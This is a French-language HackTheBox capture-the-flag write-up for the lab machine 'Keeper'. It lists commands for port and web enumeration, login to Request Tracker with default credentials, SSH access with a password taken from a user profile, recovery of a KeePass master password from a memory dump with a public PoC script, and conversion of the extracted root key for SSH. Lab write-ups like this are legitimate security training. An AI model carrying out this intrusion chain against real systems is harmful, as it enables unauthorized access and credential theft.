HackTheBox KeePass Memory Dump SSH Default Credentials
HTB - Keeper
Exploitation Request Tracker avec credentials par défaut, dump KeePass et extraction de clé privée SSH.
2024-03-01 Easy HackTheBox
Reconnaissance
# /etc/hosts
10.10.11.227 keeper.htb
10.10.11.227 tickets.keeper.htb
nmap -p- --open -sV 10.10.11.227
Ports ouverts :
- 22/tcp — SSH OpenSSH 8.9p1 Ubuntu
- 80/tcp — HTTP nginx 1.18.0
Enumération Web
ffuf -u http://tickets.keeper.htb/ret/FUZZ -w wordlists/dicc.txt -mc 0-299 -fs 0
Exploitation — Default Credentials
L’application est Request Tracker (RT). Credentials par défaut :
root:password
Enumération des utilisateurs
http://tickets.keeper.htb/rt/Admin/Users/
http://tickets.keeper.htb/rt/Admin/Users/Modify.html?id=27
Credentials découverts dans le profil utilisateur :
lnorgaard:Welcome2023!
ssh lnorgaard@10.10.11.227
cat user.txt
Privilege Escalation — KeePass Memory Dump
Récupération d’un fichier ZIP contenant un dump mémoire KeePass :
python3 -m http.server 8888
wget http://10.10.11.227:8888/RT30000.zip
unzip RT30000.zip
Extraction du master password
wget https://raw.githubusercontent.com/matro7sh/keepass-dump-masterkey/main/poc.py
python3 poc.py KeePassDumpFull.dmp
# rødgrød med fløde
Ouverture de la base KeePass via KeeWeb :
root:F4><3K0nd!
Extraction de la clé privée SSH
# Conversion Putty → OpenSSH
puttygen x.key -O private-openssh -o id-rsa
ssh -i id-rsa root@10.10.11.227
cat root.txt